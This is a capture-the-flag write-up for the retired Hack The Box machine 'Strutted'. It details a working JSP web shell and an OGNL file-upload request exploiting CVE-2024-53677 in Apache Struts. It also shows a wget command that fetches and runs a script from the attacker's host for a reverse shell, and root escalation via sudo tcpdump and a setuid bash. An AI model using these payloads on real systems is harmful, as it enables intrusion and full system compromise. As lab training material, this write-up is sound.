Hack The Box – Strutted (Retired)

Martina Giacobbe

July 23, 2025

Summary

Strutted is a medium difficult retired Linux machine from Hack The Box. It demonstrates a complete attack chain from source code analysis and file upload vulnerabilities in Apache Struts, all the way to local privilege escalation using a sudo misconfiguration with `tcpdump`.

1 Enumeration

1.1 Port Scanning

```
22/tcp ssh
80/tcp http
```

1.2 HTTP Analysis

To properly resolve the virtual host, the following line must be added to `/etc/hosts`:

```
echo '10.10.11.59 strutted.htb' | sudo tee -a /etc/hosts
```

Upon visiting the website, a "Download" button is found. Clicking it downloads a ZIP archive containing a Docker setup. The application is based on Tomcat.

1.3 Tomcat Configuration

In the `tomcat-users.xml` file, the following credentials are disclosed:

```
<user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin
    ↪ -gui"/>
```

Testing these credentials via SSH results in failure.

2 Application Analysis

The `pom.xml` file indicates that the application uses Apache Struts v6.3.0.1. Researching this version reveals it is vulnerable to CVE-2024-53677 — an authenticated file upload vulnerability that can be exploited to gain Remote Code Execution (RCE).

2.1 CVE Overview: CVE-2024-53677

Apache Struts2 (v6.3.0.1) can be tricked using OGNL expressions to bypass upload filters. The upload logic checks for:

- Allowed file extensions (e.g., PNG, JPEG, GIF)

- Magic byte verification to confirm image format
- Disallows executable types like `.jsp`

However, OGNL manipulation can rename an image upload to a `.jsp` file, enabling code execution.

2.2 Proof of Concept

Using the PoC available on GitHub: `https://github.com/EQSTLab/CVE-2024-53677.git`, a payload was crafted.

Malicious File Preparation:

- Prepended JPEG magic bytes (`0xFFD8FFE0`) to a `.jsp` file
- Embedded payload:

```
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader r = new BufferedReader(new InputStreamReader
            ↪ (p.getInputStream()));
        String l;
        while ((l = r.readLine()) != null) out.println(l + "<br>");
    }
%>
```

```
  <header class="header">
      <nav class="navbar navbar-expand-lg navbar-dark" style="background: transparent;">
          <a class="navbar-brand" href="#">Strutted™</a>
          <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarContent"
                  aria-controls="navbarContent" aria-expanded="false" aria-label="Toggle navigation">
              <span class="navbar-toggler-icon"></span>
          </button>

          <div class="collapse navbar-collapse" id="navbarContent">
              <ul class="navbar-nav ms-auto">
                  <li class="nav-item"><a class="nav-link active" href="#">Home</a></li>
                  <li class="nav-item"><a class="nav-link" href="/how">How It Works</a></li>
                  <li class="nav-item"><a class="nav-link" href="/about">About Us</a></li>
                  <li class="nav-item"><a class="nav-link" href="/download.action">Download</a></li>
              </ul>
          </div>
      </nav>
  </header>

  <div class="content-wrapper">
      <div class="hero-section">
          <div class="container">
              <h1>Upload Your Images, Get a Shareable Link</h1>
              <p>Instantly upload an image and receive a unique, shareable link. Keep your images secure, accessibl
, and easy to share—anywhere, anytime.</p>
              <p><b>Supported file types: JPG, JPEG, PNG, GIF</b></p>
          </div>
      </div>
```

Exploitation via Upload Request: A POST request is sent with:

- File: crafted JSP+JPEG
- OGNL field: manipulates filename to `shell.jsp`

```
POST /upload.action HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Connection: close
Content-Length: 657

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Upload"; filename="fake.jpg"
Content-Type: image/jpeg

ÿØÿà
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String l;
        while ((l = r.readLine()) != null) out.println(l + "<br>");
    }
%>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="top.UploadFileName"

../../shell.jsp
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

The shell is then accessed via:

```
http://strutted.htb/shell.jsp?cmd=id
```

3 Remote Shell Access

To escalate further, a reverse shell is needed.

1. Host payload locally (PHOTO4)
2. Listener: `nc -lvvp 4444`

Payload commands in browser:

```
http://strutted.htb/shell.jsp?cmd=wget+10.10.14.30/bash.sh+-O+/tmp/bash
    ↪ .sh
http://strutted.htb/shell.jsp?cmd=chmod+777+/tmp/bash.sh
http://strutted.htb/shell.jsp?cmd=bash+/tmp/bash.sh
```

4 Privilege Escalation

Checking valid shell users:

```
cat /etc/passwd | grep '/bin/bash'
```

```
tomcat@strutted:~$ cat /etc/passwd | grep '/bin/bash'
cat /etc/passwd | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
tomcat@strutted:~$
```

Users: **james**, **root**

Testing credentials from `tomcat-users.xml`, it was discovered that the password belongs to `james`, granting SSH access.

5 User Access

```
ssh james@strutted.htb
```

User flag:

```
fec2cb1edd6df882af3892bb17e37c67
```

6 Root Privilege Escalation via tcpdump

`sudo -l` reveals:

```
User james may run the following commands:
(tcpdump) NOPASSWD: ALL
```

`tcpdump` allows execution of arbitrary commands if the `-z` flag is used to run a post-capture script. Reference: `https://gtfobins.github.io/gtfobins/tcpdump/`

6.1 Steps:

```
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
```

Using tcpdump to invoke our script:

```
COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
```

Now, looking at the /tmp folder, we see that we have successfully created a copy of /bin/bash as /tmp/bash_root . This file has the setuid bit set, allowing us to execute it with elevated privileges. We can now run /tmp/bash_root with the -p option, which will preserve the effective privileges, allowing us to execute commands with root. privileges.
Confirm shell:

```
ls -la /tmp/bash_root
/tmp/bash_root -p
```

Root flag:

```
a51ae904fe78f912ec8c3605b5cb84eb
```

Conclusion

Strutted is a great example of real-world vulnerabilities chaining:

- Apache Struts CVE-2024-53677 RCE via image upload bypass
- Weak credential reuse for lateral movement
- Sudo misconfiguration abuse via GTFOBins